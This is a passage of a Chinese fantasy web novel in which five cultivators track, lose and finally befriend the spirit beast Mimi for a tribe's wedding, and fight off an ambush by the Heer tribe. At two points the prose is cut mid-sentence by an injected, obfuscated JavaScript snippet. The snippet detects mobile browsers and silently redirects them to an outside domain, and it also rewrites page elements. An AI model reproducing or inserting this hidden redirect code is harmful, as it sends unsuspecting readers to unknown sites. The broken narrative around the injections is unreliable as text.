“一般只有本身带毒的才会对毒有需求,我们不清楚它的特性,虽然多罗尔没说,但还是小心为上,到时候你们三个小心点,我和阿微来做先锋。” 众人点头,云修泽接着说道。 “思月,既然这果子能吸引它们,你就试试能不能做出更强效的东西替代,也不一定是毒,把能想到的都做出来,有什么需要的跟我们说。” 他们的带的东西各有不同,但彼此大致清楚都有些什么。 唐思月:“好,我知道了。” 她摆弄这些果子几乎摆弄了一整晚,桌子太小放不下,她就席地而坐,瓶瓶罐罐堆了许多,唐思月一认真起来便不怎么理人,除了找云修泽和天盛微要血以外,再没有说过一句话。 几人陪着她,都没有睡,各自找了个地方打坐,直到天色逐渐亮起。 “有人来了。”行愿说道。 他们不约而同睁开眼,唐思月已经把东西全都收了进去,对上云修泽的视线点了点头。 “醒了吗?要走了。” 是多罗尔,他在门外,没有贸然进来。 云修泽扬声道:“醒了,还请稍等片刻。” “走吧。”他将每个人看过,说道。 几人掀开帘子,强光透进来,他们逆着走了出去。 106. 雾讫五 多罗尔他们的队伍至少有三十个人,和他们比,五个人看起来就寒酸了些,不过还是质量比数量重要。 云修泽在路上不着边际的想着,他们一路从金氏尤族走到了森林的边缘,准备在这里分道扬镳。 临行前,云修泽叫住多罗尔,抛了抛手上的果子,问道。 “这果子你们从哪里采的?大概在什么方位?” 多罗尔的视线跟随果子上下起落,回道。 “森林中没有,这是别的地方长的。” 云修泽抛果子的手一顿,那就没办法了,他们本来想先去这果子的生长地碰碰运气呢。 “还有事吗?”多罗尔问。 “没了。”云修泽把果子收回去,想了想,多了句嘴。 “你注意安全。” 多罗尔想起了昨天面对的危险,平静的点点头,回道。 “你们也是。” 他不太熟练的和外族人做了一个很友好的告别,奇怪的感觉促使他带着人快速离开了这里。 等他们的身影彻底消失,云修泽扭头说道。 “我们也走吧。” 他们这次进入森林和之前相比显得不急不缓,重点在于观察各种生物活动的痕迹和灵力的残留。 森林里出现人族对这里的生物来说已经是稀松平常,大多数会选择避让,还有一部分则是见他们人少,自认打得过,跃跃欲试的来招惹他们。 可它们错过了彼此的实力,最后全都死在了看好的猎物手中。 云修云捏着一条肥嘟嘟的毒蛇,满怀期待的看向行愿,被行愿强硬的拒绝。 “不好吃。” 云修云瘪着嘴,灰溜溜的放下了蛇,蛇就跟听得懂一般,生怕晚一点就要被强迫到别人的肚子里造访,呲溜一下窜了个无影无踪。 这片森林中,灵气相对于外界要浓一些,但给云修泽的感觉总是飘乎乎的,像是灰色的雾,存在的并不真实,可是每次运行功法吐纳,又显得十分正常,和其他地方的无异。 云修泽不太适应的眯了眯眼,说起来,他唯一一次在这森林中感受到正常的灵气,就是来源于那只靡靡。 这个想法轻轻的划过,让他无意之间好像抓到了什么,但很快又消失的无影无踪。 云修泽闭了闭眼,问道。 “思月,你弄出什么来了?” 唐思月往外掏了三个小瓶,说道。 “我把那果子的特性分别弄了出来,制成了水液,你们闻闻。” 她拔开其中一个的盖子,在他们面前晃了晃,馥郁的香甜气息登时就在他们身边溢满。 这是那个果子的香气,一模一样,没有丝毫区别。 唐思月重新将其盖上,说道。 “这是模拟的果子的香气,怎么样,还可以吗?” 云修泽盯着这个小小的玉瓶,就这么一点甜液,散发的气息就比昨天那一筐还要强烈,而这只是她花了一晚上弄出来的。 “思月,你可真是,天赋远超常人啊。” 他叹道。 唐思月抿嘴微微一笑。 “这种东西,只要对草药之类了解的多,都是可以复刻的。” “那这些呢?那瓶是香气,这些是什么?” 云修云拿起一个瓶子对着光看了看,好奇的问道。 “你手里拿的那瓶是毒。” 云修云将盖子又紧了紧。 “而这瓶,是解毒的。” 唐思月捏着手中最后一个玉瓶说道。 解毒?云修泽很快明白了她的意思,问道。 “它有可能在以毒攻毒?” “不错。”唐思月将玉瓶都收起来,说道。 “寻找毒物,不一定本身带毒,也有可能是需要毒素来维持体内的平衡,如果真是那样,那它们也一定有解毒的需求。” 的确有这个可能,云修泽垂眸问道。 “那制成水液......你是想?” 唐思月并不卖关子,果断的说道。 “我想寻找水源。” 凡是树木,都需水分才能存活,吉勒塔族所在的那条大河并不通往这里,按照这附近草木的生长状况,再结合这树的叶片和枝干来说,常年降下的雨水绝对不足以供养这广袤而古怪的森林。 所以森林本身,就必然存在流动且四通八达的水源,这就是他们引诱靡靡最便捷且有力的帮手。 云修泽深吸一口气,想了片刻,说道。 “走,我们去找河。” 他们昨日并未刻意注意水源,运起轻功行进时,大多都是走马观花,但在云修泽的印象中似乎也见到了一两条小溪,只是这里的树木一成不变,枝叶繁茂到连阳光也只能寻缝觅隙的挤进来,不熟悉这里的人,辨方寻位就十分困难。 他们只能依照地势、湿润程度和动物的情况来摸索寻找。 几人老老实实的找了一会儿,没找到水源,先找到了午饭,云修云终于还是吃上了他心心念念的蛇羹。 云修泽填饱了肚子,在原地沉思了一会儿,忽然站起身,没头没脑的说道。 “你们慢慢吃,我去问个路。” 说完,他就歘歘歘几下,消失在了原地。 唐思月有点懵。 “问路?他去找谁问路?多罗尔吗?没感觉到他在这附近啊。” 从天盛微的眼神来看,她似乎是有了不确定的猜测,但犹豫半晌,还是觉得太过离谱,没有说出口。 只有云修云快速嚼了几下嘴里的东西,梗着脖子吞下去之后,恍然大悟的说道。 “对哦!我哥动物缘可太好了!他肯定是去找动物问路了!” 天盛微的表情变得迷茫起来,唐思月则是懵了个彻底,带着点不可置信的问道。 “问动物?他们能交流?” 云修云瞅着她难得的模样,一下乐出了声。 “那肯定是交流不了,但他们就是能大概理解彼此的意思,可神奇了。” 天盛微一面觉得不可能,一面觉得发生在云修泽身上好像又并不奇怪,她默默缩了缩身子,抱着点儿微妙的心态等他回来。 可他们吃完饭,收拾完东西,云修泽还是没回来,云修云能感知到他并没有出事,于是四个人就像森林中颜色各异的毒蘑菇一样,抱膝守在原地乖乖等着。 云修泽回来时,见到这一幕脚步还忍不住顿了顿,犹豫的问道。 “你们......在干什么?” 我出去了很久吗? 他一出声,四人才察觉到他回来了,一下站起身,惊到了他头上顶的松鼠,直起身子尾巴炸了炸,扭头就窜没了影。 云修云凑过来,迫不及待的问道。 “哥!你去跟谁问路了?” “呃......”云修泽不着痕迹的瞄了天盛微一眼,吞吞吐吐的说。 “就......一些比较聪明...呃...亲人的小......小......” “小动物对吧!”云修云一下替他说完,云修泽摇头晃脑的点了个头。 天盛微一下就酸了,在她的认知里,跟动物问路这种事,根本就不可能发生,他特意出去问,也是因为有她在身边,一般的动物根本不会靠近。 现在云修泽在她眼里,身上就好像写了四个金光闪闪的大字。 天选之子—— 天盛微眼神幽幽的看着他,酸的很彻底。 云修泽没有理由,但很心虚的咳了两声。 唐思月好奇的问道。 “那你问到了吗?” “问到了。”云修泽微微笑了一下,说道。 “跟我走吧。” 唐思月跟行愿感叹。 “真是好用。” 行愿深以为然的点了点头。 几人终于顺利的找到了水源,逆着河流一直到了上游的位置,唐思月打算往水里倒那瓶香试试看,这个不会破坏河流本身的生态,只是在倒下去前叮嘱道。 “被它吸引来的不一定会是靡靡,注意警惕。” 鲜红的颜色混入了平静的水面,气息香甜,顺着水流慢慢开始向远处扩散。 他们隐去身形,在暗处观察,细心留意着周围的动静。 这个气味如同暗夜烛火,存在感鲜明的吸引着这里的住户,不到一个时辰就引来了数种探访者,就是没有他们想要的那一个。 香味随着天色慢慢淡去,就在几人准备放弃的时候,陌生的灵力忽然靠近,随即就有一个身影试探的出现在了他们的视线中。 它在地上不停的嗅闻,小心翼翼的一路来到水边,动了动耳朵,抬头四处看,没有看到想要的果子,像人族一般歪了歪头,似乎是在疑惑。 它的出现让几人一下打起了精神,唐思月趁此机会,悄悄捏碎了一颗丹药,无色无味的迷雾渐渐将它包围,靡靡找寻无果,警惕心作祟,本想快些离去,四肢却在此时变得瘫软,走了两步就歪歪扭扭的一头栽到了地上,不过两息,眼睛也无力的跟着合上了。 整个过程都十分顺利,几人提前吃下了解药,来到它身边,动作麻利的将它的四肢绑了起来。 云修云挠了挠头,有点不真实的说道。 “就这么简单?五天的时间,咱们一天就抓到了?” 这只靡靡和他们之前看到的那只体型相近,云修泽拨了拨它前爪上的毛,没有伤口,不知是自愈能力太强,还是根本不是同一只。 “它有第三只眼。”天盛微忽然说道。 她正蹲在靡靡的头前,招呼道。 “你们来看。” 几人围过去,果然在它的额上见到了一条紧闭的眼缝,只不过颜色与毛色相近,不仔细看就很容易忽略。 云修泽皱眉回忆了下,问道。 “之前见到的那只,第三只眼是睁开的吗?” 云修云和唐思月对视,又去看行愿,最终摇了摇头。 “好像没有,它当时只睁着两只眼。” 两只眼,在云修泽的记忆中也是如此,那这灵兽的第三只眼......是有什么特殊作用吗? 看似无关的未知无形中又加重了他的焦虑,他心中的弦已经崩的太紧,哪怕是滴水擦弦而过也会引发一场震颤。 一只手握上来,云修泽猛然回神,几人担忧的目光如同明火,让他不知所措。 天盛微捏了捏他的掌心,唐思月蹙眉问道。 “老大,你还好吗?哪里有问题吗?” 云修泽喉咙滚了滚,从异常的状态中脱离,声音干涩的说道。 “我没事,就是最近没休息好有点恍惚了,我们赶紧走吧。” 天盛微的目光落在他身上,并不如普通女子那般如水依人,她是有力量感的,如同他的定海针 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16522247|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,始终撑着他。 唐思月半信半疑的说道。 “好吧,别总想太多,等回去我给你弄点安神的药,喝了好好休息吧。” 药还没喝进嘴,云修泽的嘴里就已经忠诚的开始泛苦了。 他试图挣扎,但挣扎无效。 “躲开!”行愿大喝。 一支强而有力的箭带着破空声射向了云修泽的后心,云修泽第一时间侧身躲避,箭身在他胸前划过,随着布料撕拉的声响,云修泽仰身后翻,一记腿鞭直接将这支箭踢了回去,被坐在马上的青年歪头躲过。 他的马在原地踱步,青年身形健壮,身上涂着从未见过的花纹,异族之感十分明晰,他微微晃动着身体,仰头,嘴角带上了玩味的笑意。 他身后跟了一队与他模样相似的人马,手中还握着重弓,显然刚刚的偷袭就是出自他手,来者不善。 一群人连人带马,居然没被他们察觉,几人眼神带上了杀意,与他们遥遥对峙。 是赫尔族,云修泽分辨出他们的身份,眼底的暗色翻涌,沉声问道。 “赫尔族的兄弟,这是何意?” 身份被认出,领头的青年无所谓的挑了挑眉,抽出一支箭,指向了他们身后的靡靡。 “那兽,我们要了。” 他们虽然排外,但这里不是他们的领地,不至于因此杀人,目的是靡靡并不出云修泽的所料。 “要兽?那为何不与我们商量,何至于一个照面就出手杀人啊。” 云修泽脸上带着虚伪的笑意,似乎让对面的青年感到不爽,他的耐心即将用尽,眼神如同看着死物一般看向他们,说道。 “神女林中的一切,我们可以一起拥有,外族人,不行!” 说完,他就一甩马鞭向他们冲来,身后的族人紧跟其上,马蹄重响,嘶鸣不断,这里立刻陷入了混战。 云修泽五人收着劲,树木的范围限制了他们无法大开大合的攻击,赫尔族招招都是冲杀了他们而来,他们却不得不顾忌对方背后的族群。 这里周边都是异族,纵使他们将这里的人杀个一干二净,查起来,首先怀疑的也肯定是他们,云修泽无法去赌金氏尤族的族长会不会出面保他们,反正闹起来肯定耽误他们的事,所以干脆尽量在不伤对方性命的情况下将其敲晕。 赫尔不愧是以悍勇著称的族群,力可拔山,铜筋铁骨,若不用灵力,云修泽很难跟他打个不分伯仲。 唐思月早已退到了远处,她的弦音早非一般人可以抵挡,能跟鲛人的吟唱平分秋色,对他们的影响却并不大。 赫尔族察觉她不会武,本想先将她拿下,却屡次被她的同伴所挡,他们虽然与云修泽几人交着手,但并没有忘记自己本来的目的。 靡靡不知何时已经醒来,想要挣脱绳索,却无奈绳索本身就是一件灵器,一时半会儿无可奈何。 眼看着一只重箭射向了它的心口,来不及阻拦,云修泽眉头狠狠一跳,喊道。 “行大哥!” 行愿瞬间了然,伸手召回,绳索就如同灵蛇飞速回到了他的袖中。 靡靡重获自由,第一时间便逃离了这里。 领头的青年与他刀剑相交,恨恨说道。 “你疯了?!靡靡有多少见!有多难找!你不知道吗?放走它对你有什么好处!!!” 他不高兴云修泽就高兴了,他扯出恶意的笑,假惺惺的说道。 “那可如何是好?兄弟不如提头回去跟你们族长谢罪!” 他身子一歪,将刀剑泄力,反手就要用剑柄敲向他的后颈,却被他险而又险的躲过,反而抓住了云修泽的双臂,用力将他向后顶去。 云修泽的耳朵轻微一动,听到了身后弓弦拉响的声音,可偏偏青年比他的身形大了一圈,紧紧箍着他,力气大到,若要挣脱,手臂就必然会折断。 他的双眼在场中快速一扫,其余四人离他都有距离,他心中默念褚闲的名字,剑身一动,便要先去解决他身后拉弓之人。 就在此时,异变突生! 靡靡忽然从一边的草丛出现,张开嘴,也没见到如何动作,就十分顺滑的将拉弓之人囫囵吞了下去。 它四肢轻巧落地,舔了舔嘴,便向正在角力的二人冲来。 两人瞬间分开,青年用力将云修泽砸到了树上,目的十分强烈的盯着靡靡,反手向云修泽的方向弹出一枚石子,吸引了它的注意力后,一刻不停的搭弓拉弦,重箭再度向它射去,并没有他预想中破开皮肉的闷响,被褚闲挡在前面弹开。 剑自己动这个事明显让青年懵了一瞬,就这极短的一瞬,被云修泽抓住狠狠的打晕了过去。 与此同时,他的族人也全都被其他四人收拾了个干净,几人的目光不约而同落在了这只本该离去的靡靡身上。 他们谁都没有动,生怕惊到这只正在警惕试探的靡靡。 它离云修泽最近,鼻子动了动,眼睛死死盯着他,谨慎小心的朝他靠近。 云修泽不知道它要做什么,但并没有从它身上感到恶意,于是就放任它接近。 在众目睽睽之下,这只漂亮的大猫伸着脖子嗅了嗅云修泽的味道,转头看了他们一眼之后,就飞快的跑了,风一般再次消失在他们的眼前。 跑了...... 云修云张着嘴,对云修泽问道。 “你味儿太大......把它熏跑了?” 107. 雾讫六 “对不起我错了,我再也不嘴欠了。” 云修云捂着头上的包瘪着嘴道歉。 云修泽大发慈悲的收回了手。 “知错能改,善莫大焉。” 唐思月憋着笑给他上了点药,问道。 “老大,这些人怎么办?” 放着不管,等他们醒了,没准又来给他们捣乱。 云修泽端详了他们一会儿,心里冒出了点蔫主意,嘿嘿笑道。 “思月,给他们下点儿猛药,让他们好好睡上几天吧。” 于是一群人就被他们几个合力绑了起来,光是绑上还不够,又带着他们跋山涉水的来到了一处洞穴。 这里大的很,又隐蔽,便于藏身,是个绝佳的栖息处,如果里面没有健壮的野猪就更好了。 他们和野猪两两相望,都能从彼此眼中看出震惊,只有云修泽心很大的走了过去。 他身上好闻的气息让野猪本能的对他产生了亲近,刨了刨蹄子,犹豫是要攻击还是要跑走,但最终还是站在原地任他接近了自己。 云修泽蹲下身,哥俩好的跟它认真商量。 “我在你这儿放几个人,大概放个五六天吧,你别攻击他们,他们要是攻击你的话,你可以咬回去,但最好别弄死,我给你弄点儿吃的,行不行?” 他是认真的吗? 洞外的四个人一言难尽的看着一人一猪,这可是个带崽的猪,一般来说攻击性都强到没边儿了,云修泽居然还敢上手摸它的獠牙?最离谱的是,那头猪居然还哼哼两下同意了? 天盛微捏了捏自己的脸,喃喃自语道。 “中午吃的那顿饭里有毒蘑菇吗?我还能中毒?” 知道云修泽能和动物交流是一回事儿,亲眼见到就是另一回事儿了,这事儿,这么简单粗暴就可以吗? 天盛微决定回去和点墨试试看。 反正一人一猪就这么无障碍交流的完成了一场交易,云修泽勤勤恳恳的在山洞里给野猪堆了一堆吃的,把赫尔族放进去后,还不忘跟它说声再见。 那野猪明显是这一片儿的老大,把赫尔族捆着放在那里,就算野猪不在,也大概率不会有别的动物进去,他们会很安全。 离开那里之后,几人逐渐开始接受云修泽能和动物顺利交流这件事,天盛微已经不酸了,反而带了点儿莫名其妙的尊敬。 “你去御兽的门派一定大受欢迎。” 靡靡丢了,暂时是找不回来,但是事情没有那么顺利反而才让他们觉得正常,于是几人一点都不着急的开始寻觅晚饭。 不想找饭的时候找的着饭,想找饭的时候又偏偏找到了其他。 他们看着被架在火上烤的滋滋冒油的兔肉,不禁问道。 “还有多的吗?” 多罗尔:“......给他们拿。” 晚饭有了着落,他们愉快的坐下来,云修泽说道。 “咱们可真是有缘啊,多罗尔。” 多罗尔闷头烤肉,这么大的森林,他们居然还能碰上。 “你们靡靡找到了吗?” 这句话他真的只是随口一问,并没有抱希望几个外族人能这么顺利的找到靡靡,谁知他们却理所当然的说道。 “找到了啊。” 多罗尔烤肉的手一顿,面无表情的张了张嘴。 “......什么?” 几人后知后觉好像打击到他了,云修泽找补说道。 “哈哈,可能是我们跟它也很有缘吧。” 多罗尔并没有被安慰到,他拿手捂住脸,过了一会儿问道。 “那兽呢?” 云修云耸了耸肩,说道。 “本来都抓住了,但是又把它放跑了。” 多罗尔歪了歪头,并不理解为什么。 云修泽拨了拨火堆,忽然问道。 “你们一定要吃它吗?” 多罗尔脸上出现了震惊。 “谁说要吃了?!” 云修泽眨了眨眼,嗯?不是要吃吗? 五个人的眼中透露出了如出一辙的清澈,多罗尔突然有点心累,好吧,没有说到位他也有错,他抹了把脸,决定不再为了少和异族人说话而只说重点,他们和六洲人想问题的方式不一样,可别再弄出什么差错,他开口说道。 “靡靡,是瑞兽,可以吐宝珠,宝珠是稀少的材料,可以炼铁,也有祝福的意思,我们只是抓它去当吉祥物。” “啊。” 云修泽尴尬的张了张嘴,原来是他们想当然了,怪不得还特意叮嘱要活的,还以为他们一定要自己杀呢。 “既是瑞兽,那为何赫尔族下手丝毫不留情,皆是奔它性命而去?” “你们遇到赫尔族了?”多罗尔严肃起来。 云修泽嗯了一声,说道。 “我们本来抓住了靡靡,他们突然出现想要抢夺,对我们和靡靡都下了死手,混乱之中,也只能放了靡靡以保全它的性命。” 多罗尔似乎有些不悦,说道。 “赫尔,我们关系不好,他们嗜杀成性,狩猎无度,我阿姊成婚,他们定然知道我们在找靡靡,却偏偏要杀,与我们作对!我回去就要告诉图堪!” 云修泽几人并未接他的话,他们不过刚刚来此,异族之间争斗,说的话是否有偏颇,他们也不得而知,最好就是半句话也不参与,只一心放在自己的目的上就是。 多罗尔没有在意他们的态度,转而问道。 “那他们人呢?你们没杀吧。” 这几人实力还是有的,神情一派轻松,也不像是不敌而逃,更大的可能是他们占了上风。 “没有。”云修泽接过云修云递来的水喝了一口,说道。 “都被我们打晕捆起来,放在山洞了,没个五六天应该是醒不过来。” 五六天,醒不醒的,只怕饿都饿死了。 多罗尔呆了一下,说道。 “如果醒了呢?被捆起来饿死在森林里,怎么看都不是自己死的啊,你们放哪儿了?我要不去送点吃的?” 除云修泽以外的四人想了想那头野猪凶悍的样子,心情很微妙,但是云修泽好像没有顾及这个,张口欲说,被天盛微手疾眼快塞了块儿肉堵住了嘴,她说道。 “地方很安全,你们不用去,就算醒了,也饿不死。” “为什么?”多罗尔疑惑。 天盛微哽了一下,想到他们离谱的行为,根本开不了口。 云修泽有口难开,唐思月眼神闪躲,行愿也装起了木头。 他们的异样让多罗尔越发迷惑,只有云修云不好意思的笑了笑。 “那什么......我们给他们一人脖子上套了一张大饼,嘴没给他们堵上,醒了啃啃也饿不死。” 多罗尔:“......?” 还能这么干? “......你们想的真全,不过绳子他们解不开吗?” 云修泽终于腾出了嘴,说道。 “绳子是灵器,解不开,等捉到靡靡后我们自然会将其召回,不过我们几个异族人在这里一定很显眼,他们醒了回去,不会带人来找麻烦吧?” “不会。”多罗尔低头咬了一口兔子腿,慢慢嚼了两下,说道。 “他们很要脸,没抢过你们,不会在部落里到处说,会被看不起。” 原来如此,云修泽暗暗想到,那就省事儿了,他垂眸,安静了一会儿,忽然说道。 “靡靡有第三只眼。” 多罗尔心中惊讶,面上没有显露,微微感叹道。 “你们看过了。” 那第三只眼很隐蔽,注意到的话,肯定是近距离观察过,谨慎的靡靡,想要做到这一点不容易。 他心中忽然生出点危机感和好胜心,这几个外族人,今日要不是被赫尔族的人捣了乱,现在已经抓到靡靡了,想要在他们之前再抓到,也不是没可能。 “多罗尔见过那第三只眼睁开吗?”云修泽问道。 多罗尔摇了摇头。 连他也没见过?云修泽心中暗暗思忖,复又问道。 “那你知道第三只眼有什么特殊吗?” 多罗尔诚实的说道。 “没有,没人见过也没人知道,只有图堪可能知道。” 云修泽看着他,慢慢问道。 “你是你们图堪的儿子,金氏尤的少主,他连你也不告诉吗?” 多罗尔很淡定的回道。 “有些事情,只有图堪能知道。” 他的态度很坚定,于是云修泽不再试探,垂下眼开始盘算靡靡的去向。 虽然他们关系还算和谐,但是在野外,两方也没有选择一起过夜,云修泽五人吃完东西后就告辞了多罗尔。 接下来的几天,他们没再遇到多罗尔,而对于靡靡,几人试图故技重施,它也的确来了,但它不再靠近,远远的看不到果子,就会马上跑走。 它的速度几乎能媲美云修泽的师傅鸣音,若是云修泽和天盛微全力追赶也不是没有追上的可能,但那样必然会让它受惊,干脆就放任它跑走。 但奇怪的是,它没有完全离开,这点让几人很费解。 它总是远远的跟着他们,只有偶尔会消失一段时间,多罗尔说它们好奇心很重,不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16527368|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样做是不是因为对云修泽产生了好奇心。 云修泽也因此被云修云戏称为了‘万兽迷’。 它跟着他们的距离越来越近,到了第四天,给人的感觉几乎是回头就能看到它,可偏偏身后又空无一物。 他们干脆不再到处走,找了个凉快地方,把果子往中间一摆,几个人松弛感满满的就躺下了,装成睡熟的样子,看看这只靡靡会不会靠过来。 靡靡还是谨慎的,几个人等的都快真的睡着了,要不是能从灵力感知到它还在附近略显焦躁的徘徊,他们恐怕都要以为是在做无用功。 靡靡终于过来了,它一步一停,身形虽然不小,但是步伐轻若无物,绕过他们目的明确的走到了那筐果子附近。 它刚咬了一个在嘴里,周围就忽然升起了结界,它猛然抬头,几个莫名其妙就昏过去的人族已经神情清明的围在它的四周,嘴里叼的果子就这么掉了下去。 它很意外,云修泽也很意外,他本以为靡靡的第一反应会是试图逃走,没想到只是在原地警惕的朝他们哈气。 云修泽伸出双手示意自己并没有敌意,声音平缓柔和的安抚道。 “靡靡,我们没有想伤害你,只是想和你谈一谈。” 靡靡的眼睛底色暗红,它凝视着云修泽,那双眼睛就如同有魔力一般幽深诡异,它的耳朵动了动,云修泽的声音还在不断响起。 这个人族身上有好闻的味道,让它觉得很舒服,不由自主就想要对他放下警惕。 靡靡扭头瞅了瞅其他四人,他们也连忙效仿云修泽举起双手,没有人让它感受到敌意的存在。 靡靡渐渐安静了下来,它守着那筐果子坐下,眼睛一瞬不瞬的看着这个让它心生好感的人族。 未签订契约的灵兽并不能和人族心意相通,尽管如此,云修泽也事无巨细的向它讲述着他们这么做的原因。 “有人族要成婚了,他们并不想伤害你,只是因为你很好,所以想要让你一起去那里庆祝,之后他们就会放你离开。” 担心它不理解成婚是什么意思,云修泽还费了不少功夫为它解释。 他自言自语说了好一阵子,说的口干舌燥,靡靡却连尾巴都没动一下,不免让他心中没底。 “咳......你愿意跟我们回去吗?你放心,既然是我们带你去,哪怕他们想出尔反尔伤害你,我们也一定会保护你的安全,可以吗?可以的话......” 云修泽迟疑了一下,他本想说若是可以的话就握个爪,但尽管长得像,这也终归不是家养的狸奴,此举有逗弄的嫌疑,若是惹它生恼,刚才那些口舌恐怕就白费了,于是紧急改口道。 “可以的话,你就动动耳朵,我们保证,不光你身边这筐果子给你,还有他们的,他们也会给你。” 说完,他吞了吞口水,几人的目光都落在了那两只薄耳上,一息,两息,三息,它一动没动,就在几人以为它没同意或者没听懂的时候,它忽然站起身,围着那筐果子转了几圈儿,张开嘴,一点声音都没有的,连果子带筐的全都吞了进去。 甚至连象征性嚼两下都没有,在几人诧异的目光下,动了动耳朵。 它同意了。 几人松了口气,云修泽拿出一个灵兽袋,说道。 “那你先进去,我们带你过去,到了地方就把你放出来。” 灵兽袋可以携带活物,只是里面什么都没有,要委屈它一阵子。 靡靡后退了两步,对这个袋子表示出了抗拒。 它不愿意进,云修泽也无法强收,他表情有些为难,说道。 “你不想进,就只能跟着我们走了,我们速度不如你,你可别走到半路改主意了。” 靡靡的耳朵又一次动了动,应该是不会反悔的意思,它的脸上都是毛看不出表情,只有一双眼睛看着云修泽,云修泽叹了一声,决定相信它。 动物和人族不同,没有那么多弯弯绕绕,喜欢你,亲近你,就不会骗你,不会背叛你,他之前还未试过和灵□□谈,但他愿意向它交付信任。 “好吧,那我们一起走着过去吧。” 于是森林中就出现了一幅奇景,五个人族和灵兽靡靡相安无事的走到了一起,尽管中间隔着一段距离,但行进的方向完全一致。 他们又用了半天的时间离开森林,还未到金氏尤族的时候,就已经有金氏尤族的人发现了他们的存在,连忙上报给了图堪。 金氏尤的族长亲自来到了部落门前,看着五人一猫的身影出现在视线里,神情莫测的眯了眯眼,忽然微叹了一口,吩咐道。 “传信给多罗,告诉他,可以回来了。” 108. 雾讫七 靡靡主动跟着几个外族人回来的消息很快就传遍了整个部落,他们三三两两的围在远处窃窃私语,不少人看他们的眼神都产生了变化。 云修泽五人来到族长面前,靡靡就等在远处看着他们,没有丝毫转身离开的迹象。 云修泽笑眯眯的道。 “族长,幸不辱命啊。” 离开森林前,他特地托鸟儿查探了多罗尔是否还在森林中,得到了肯定的回答,他们赢了,按照约定,您可得好好的把事情告诉我们啊。 这话云修泽虽然没有说出口,但却明明白白的写在了眼神中。 族长看了看远处的靡靡,心中也有几分费解。 “为什么靡靡会自己跟过来?” 靡靡的眼神清明,并不像是被控制的样子。 其实他们部落每逢重要的日子,都会派人去抓靡靡,但不是每一次都能成功,就算成功了,也大多是被昏迷着带回来,或者是关在刻满符文的特制铁笼里,他们从没有主动伤害过它们,就是希望这些森林的灵物能够明白他们并无恶意,愿意与他们保持友好的关系。 然而它们对他们的警惕从未消失,这还是第一次,从它们身上感受到了些许信赖,但却是因为几个初到此地的异族。 云修泽并不隐瞒,说道。 “我们和它做了个交易,要给它很多果子,靡靡是瑞兽,寓意吉祥,也定能让令媛的婚礼更加完满,想必族长不会吝惜这点果子吧。” “当然不会。” 族长深深的看了一眼云修泽,靡靡钟爱这种果子,他们也不是没有试过拿着来和靡靡交谈试探,毕竟它们不会主动离开森林,而这种果子又长在森林之外。 它肯定不是单纯的因为果子和他们回来的,族长心中暗叹,看来这几个人是和神女谷有缘啊。 “我们进去说话,把靡靡叫过来吧。” 云修泽回头远远的冲它招手,靡靡站起来在原地徘徊了一会儿才试探着向他们靠近。 为了避免惊到它,族长让围着的人全都散了去,为它清出一条道。 成婚之日近在眼前,部落中一切事物场地已经被布置完善,正中间是一个高高码起的木柴垛,最上面有一个铁环,中间悬着一颗金色的矿石,据说到了成婚当夜,熊熊火焰燃起,两位新人要共持一弓,射中那颗矿石,寓意接下来日子,夫妻同心一体,生活能够愈加富足。 除了它,最显眼的就是正北方的圆形石台了,金氏尤族以北位为尊,石台之前的座位便是族长的座位,部落内尊卑意识较强,随意不会靠近那里。 看那个石台的大小,云修泽就大致明白是做什么用的,但还没等他问出口,靡靡就熟门熟路的自己走了上去,转了两圈儿,寻了个舒适的姿势趴了下来。 看这样子也不是第一次来了,它应该也是知道不会有什么危险,所以才同意的那么轻易。 族长看着它端庄的模样,说道。 “我会让人准备许多果子,要请你们给它送到台子前,它对你们要更放心些。” 这是小事,云修泽很快就点头答应了。 “至于你们的问题......” 几人竖起了耳朵,听他说道。 “等我爱女完婚吧,你们也来喝一杯,我这两日有太多事要忙,暂时顾不上你们。” 他说的是实话,现在在这里也是因为靡靡的缘故。 云修泽心中盘算了一下,他这么说,想来知道的应该也不少,虽然想知道的已经近在咫尺,但一两日的功夫他们还是等得的。 云修泽心中长舒一口,反复提醒着自己沉淀好突如其来的急躁。 “我等知晓了,族长还请去忙吧。” 这次与之前不同,他们的住处被安排在了外围,不过也实属正常。 婚礼在即,部落中所有人都在忙碌,但每个人的脸上都充斥着欢喜,是在真心为这件事感到高兴。 云修云扒着窗户瞅了一阵儿,忽然说道。 “诶,真热闹,不知道大哥和盛微姐成婚的时候是不是也这么热闹。” 正在喝茶的两人双双呛住。 云修泽一边咳一边张嘴想反驳些什么,但是话到嘴边,又觉得没什么不对,表情奇怪的在原地卡着。 反倒是天盛微,不自在的劲儿马上就过去了,淡定的回道。 “你哥婚礼,你会是最忙的。” 云修云扭过头来嘿嘿直笑。 “没事啊,我不怕忙,忙我也高兴,到时候我就拉着思月和行大哥一起帮忙,保准在成婚日前不让你们见到我们!” 唐思月笑骂他一声并未反驳,行愿也默默点了点头。 云修泽已经平静下来了,和天盛微坐在一起,听他们不断聊着该用什么样式的灯笼,回家的时候要怎么去找央玉再讨些好酒。 他笑了笑,说道。 “还想着酒呢?咱们这些人里,可只有思月不会醉啊。” 唐思月调笑道。 “怎么?老大怕了不成?” 云修泽盯着她想了一会儿,说道。 “有机会的话,我就让阖府上下一起来与你斗酒,总要让你也尝尝醉生梦死的感觉,才能消我心头之恨啊。” 唐思月无奈道。 “老大你也太记仇了。” 